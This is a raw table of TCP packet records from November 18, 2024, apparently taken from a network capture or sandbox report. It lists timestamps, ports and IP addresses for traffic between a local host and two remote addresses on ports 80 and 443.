Nov 18, 2024 23:04:12.430296898 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.430296898 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.432236910 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.432322979 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.432416916 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.432513952 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.432533026 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.438512087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.438615084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.438648939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.438702106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.438702106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.438702106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.438896894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.438932896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.438949108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.438985109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.439193010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.439227104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.439248085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.439260960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.439274073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.439312935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.440146923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.440180063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.440207958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.440217018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.440232038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.440262079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.440479994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.440514088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.440536022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.440555096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.440623999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.440658092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.440676928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.440697908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.440707922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.440759897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.441143990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.441198111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.441236019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.441272020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.441288948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.441325903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.441565990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.441596985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.441620111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.441632986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.441642046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.441668034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.441684961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.441703081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.441706896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.441749096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.442342043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.442374945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.442398071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.442409992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.442419052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.442445993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.442461014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.442481995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.442486048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.442548037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.443193913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.443228006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.443252087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.443262100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.443273067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.443298101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.443320036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.443345070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.471260071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.471306086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.471362114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.471457005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.471457005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.471457005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.498982906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.499017000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.499051094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.499159098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.499159098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.499159098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.499433041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.499474049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.499507904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.499542952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.499651909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.499651909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.499651909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.499651909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.500241995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.500276089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.500308990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.500340939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.500411034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.500411034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.500503063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.500643015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.500699043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.500737906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.500740051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.500812054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.501136065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.501168966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.501199961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.501204967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.501240015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.501280069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.501312971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.502013922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.502048016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.502075911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.502080917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.502099991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.502115965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.502116919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.502150059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.502163887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.502194881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.502840996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.502875090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.502897024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.502908945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.502918005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.502952099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.509895086 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.510262966 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.510299921 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.510678053 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.510689020 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.517879963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.517932892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.517935038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.517970085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.517997026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.518022060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.558455944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.558530092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.558563948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.558659077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.558660030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.558799028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.558820009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.558847904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.558969021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.558999062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.559031010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.559040070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.559040070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.559067011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.559086084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.559098959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.559104919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.559150934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.560062885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.560096979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.560125113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.560131073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.560152054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.560168028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.560175896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.560220957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.560340881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.560373068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.560395002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.560409069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.560415983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.560444117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.560461998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.560480118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.560493946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.560533047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.561048985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.561081886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.561110973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.561116934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.561132908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.561151028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.561175108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.561187983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.561196089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.561238050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.561690092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.561724901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.561752081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.561785936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.561991930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.562020063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.562047005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.562052965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.562068939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.562088013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.562093019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.562122107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.562139034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.562156916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.562163115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.562207937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.563368082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.563402891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.563425064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.563441038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.563448906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.563476086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.563491106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.563509941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.563529968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.563564062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.563569069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.563620090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.591104031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.591186047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.591193914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.591232061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.591248989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.591275930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.618995905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619091988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619148016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619183064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619216919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619252920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619301081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.619301081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.619301081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.619301081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.619493961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619503021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.619529963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619553089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.619563103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619576931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.619607925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.619889975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619925022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619954109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.619960070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.619976044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.620004892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.620201111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.620234013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.620259047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.620271921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.620279074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.620317936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.620666027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.620695114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.620727062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.620735884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.620735884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.620764971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.620774984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.620800018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.620814085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.620835066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.620843887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.620872974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.620886087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.620924950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.621546030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.621578932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.621601105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.621613979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.621649981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.621668100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.621684074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.621694088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.624073029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.635848045 CET	443	49817	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.637861013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.637914896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.637947083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.638119936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.638120890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.639296055 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.639348030 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.639415979 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.639425993 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.639496088 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.642088890 CET	49817	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.642132044 CET	443	49817	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.642239094 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.642239094 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.642267942 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.642290115 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.642600060 CET	49817	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.642613888 CET	443	49817	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.644665956 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.644722939 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.644792080 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.644911051 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.644931078 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.678306103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.678503990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.678563118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.678594112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.678627968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.678663015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.678777933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.678792000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.678792953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.678792953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.678792953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.678812981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.678891897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.678891897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.679076910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.679111958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.679133892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.679157019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.679296017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.679343939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.679351091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.679392099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.679430962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.679462910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.679492950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.679512024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.680023909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.680083036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.680114031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.680147886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.680169106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.680212021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.680454016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.680488110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.680510044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.680524111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.680536985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.680562973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.680567980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.680613041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.680975914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.681005001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.681054115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.681055069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.681118965 CET	80	49794	31.41.244.11	192.168.2.4
